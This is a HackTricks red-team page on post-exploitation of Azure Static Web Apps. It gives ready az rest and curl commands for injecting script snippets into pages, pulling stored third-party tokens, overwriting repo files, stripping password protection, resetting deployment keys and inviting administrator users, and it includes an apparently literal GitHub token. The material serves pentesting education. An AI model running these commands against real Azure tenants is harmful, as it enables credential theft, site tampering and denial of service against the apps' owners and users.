Az - Static Web Apps Post Exploitation

Reading time: 10 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Azure Static Web Apps

For more information about this service check:

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

It's possible to make a static web page load arbitary HTML code by creating a snippet. This could allow an attacker to inject JS code inside the web app and steal sensitive information such as credentials or mnemonic keys (in web3 wallets).

The fllowing command create an snippet that will always be loaded by the web app::

bash
az rest \
    --method PUT \
    --uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
    --headers "Content-Type=application/json" \
    --body '{
        "properties": {
            "name": "supersnippet",
            "location": "Body",
            "applicableEnvironmentsMode": "AllEnvironments",
            "content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
            "environments": [],
            "insertBottom": false
        }
    }'

Read Configured Third Party Credentials

As explained in the App Service section:

Az - App Services Privesc

Running the following command it's possible to read the third party credentials configured in the current account. Note that if for example some Github credentials are configured in a different user, you won't be able to access the token from a different one.

bash
az rest --method GET \
  --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

This command returns tokens for Github, Bitbucket, Dropbox and OneDrive.

Here you have some command examples to check the tokens:

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
     -H "Accept: application/vnd.github.v3+json" \
     https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
     -H "Authorization: Bearer <token>" \
     -H "Content-Type: application/json" \
     --data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
     -H "Accept: application/json" \
     https://graph.microsoft.com/v1.0/me/drive/root/children

Overwrite file - Overwrite routes, HTML, JS...

It's possible to overwrite a file inside the Github repo containing the app through Azure having the Github token sending a request such as the following which will indicate the path of the file to overwrite, the content of the file and the commit message.

This can be abused by attackers to basically change the content of the web app to serve malicious content (steal credentials, mnemonic keys...) or just to re-route certain paths to their own servers by overwriting the staticwebapp.config.json file.

warning

Note that if an attacker manages to compromise the Github repo in any way, they can also overwrite the file directly from Github.

bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
    "commit": {
        "message": "Update static web app route configuration",
        "branchName": "main",
        "committer": {
            "name": "Azure App Service",
            "email": "donotreply@microsoft.com"
        },
        "contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
        "filePath": "staticwebapp.config.json",
        "message": "Update static web app route configuration",
        "repoName": "carlospolop/my-first-static-web-app",
        "sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
    },
    "gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

### Microsoft.Web/staticSites/config/write

With this permission, it's possible to modify the password protecting a static web app or even unprotect every environment by sending a request such as the following:

bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
    "name": "basicAuth",
    "type": "Microsoft.Web/staticSites/basicAuth",
    "properties": {
        "password": "SuperPassword123.",
        "secretUrl": "",
        "applicableEnvironmentsMode": "AllEnvironments"
    }
}'

# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
    "name": "basicAuth",
    "type": "Microsoft.Web/staticSites/basicAuth",
    "properties": {
        "secretUrl": "",
        "applicableEnvironmentsMode": "SpecifiedEnvironments",
        "secretState": "None"
    }
}'

Microsoft.Web/staticSites/listSecrets/action

This permission allows to get the API key deployment token for the static app:

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Then, in order to update an app using the token you could run the following command. Note that this command was extracted checking how to Github Action https://github.com/Azure/static-web-apps-deploy works, as it's the one Azure set by default ot use. So the image and paarements could change in the future.

  1. Download the repo https://github.com/staticwebdev/react-basic (or any other repo you want to deploy) and run cd react-basic.
  2. Change the code you want to deploy
  3. Deploy it running (Remember to change the <api-token>):
bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

[!WARNING] Even if you have the token you won't be able to deploy the app if the Deployment Authorization Policy is set to Github. For using the token you will need the permission Microsoft.Web/staticSites/write to change the deployment method to use th APi token.

Microsoft.Web/staticSites/write

With this permission it's possible to change the source of the static web app to a different Github repository, however, it won't be automatically provisioned as this must be done from a Github Action.

However, if the Deployment Authotization Policy is set to Github, it's possible to update the app from the new source repository!.

In case the Deployment Authorization Policy is not set to Github, you can change it with the same permission Microsoft.Web/staticSites/write.

bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
    "properties": {
        "allowConfigFileUpdates": true,
        "stagingEnvironmentPolicy": "Enabled",
        "buildProperties": {
            "appLocation": "/",
            "apiLocation": "",
            "appArtifactLocation": "build"
        },
        "deploymentAuthPolicy": "GitHub",
        "repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
    }
}'

Example Github Action to deploy the app:

yaml
name: Azure Static Web Apps CI/CD

on:
  push:
    branches:
      - main
  pull_request:
    types: [opened, synchronize, reopened, closed]
    branches:
      - main

jobs:
  build_and_deploy_job:
    if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
    runs-on: ubuntu-latest
    name: Build and Deploy Job
    permissions:
       id-token: write
       contents: read
    steps:
      - uses: actions/checkout@v3
        with:
          submodules: true
          lfs: false
      - name: Install OIDC Client from Core Package
        run: npm install @actions/core@1.6.0 @actions/http-client
      - name: Get Id Token
        uses: actions/github-script@v6
        id: idtoken
        with:
           script: |
               const coredemo = require('@actions/core')
               return await coredemo.getIDToken()
           result-encoding: string
      - name: Build And Deploy
        id: builddeploy
        uses: Azure/static-web-apps-deploy@v1
        with:
          azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
          action: "upload"
          ###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
          # For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
          app_location: "/" # App source code path
          api_location: "" # Api source code path - optional
          output_location: "build" # Built app content directory - optional
          github_id_token: ${{ steps.idtoken.outputs.result }}
          ###### End of Repository/Build Configurations ######

  close_pull_request_job:
    if: github.event_name == 'pull_request' && github.event.action == 'closed'
    runs-on: ubuntu-latest
    name: Close Pull Request Job
    steps:
      - name: Close Pull Request
        id: closepullrequest
        uses: Azure/static-web-apps-deploy@v1
        with:
          action: "close"

Microsoft.Web/staticSites/resetapikey/action

With this permision it's possible to reset the API key of the static web app potentially DoSing the workflows that automatically deploy the app.

bash
az rest --method POST \
    --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

This permission allows to create an invitation to a user to access protected paths inside a static web app ith a specific given role.

The login is located in a path such as /.auth/login/github for github or /.auth/login/aad for Entra ID and a user can be invited with the following command:

bash
az staticwebapp users invite \
    --authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
    --domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
    --invitation-expiration-in-hours 168 # 7 days is max \
    --name my-first-static-web-app # Name of the app\
    --roles "contributor,administrator" # Comma sepparated list of roles\
    --user-details username # Github username in this case\
    --resource-group Resource_Group_1 # Resource group of the app

Pull Requests

By default Pull Requests from a branch in the same repo will be automatically compiled and build in a staging environment. This could be abused by an attacker with write access over the repo but without being able to bypass branch protections of the production branch (usually main) to deploy a malicious version of the app in the statagging URL.

The staging URL has this format: https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> like: https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

tip

Note that by default external PRs won't run workflows unless they have merged at least 1 PR into the repository. An attacker could send a valid PR to the repo and then send a malicious PR to the repo to deploy the malicious app in the stagging environment. HOWEVER, there is an unexpected protection, the default Github Action to deploy into the static web app need access to the secret containing the deployment token (like secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) eve if the deployment is done with the IDToken. This means that because an external PR won't have access to this secret and an external PR cannot change the Workflow to place here an arbitrary token without a PR getting accepted, this attack won't really work.

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks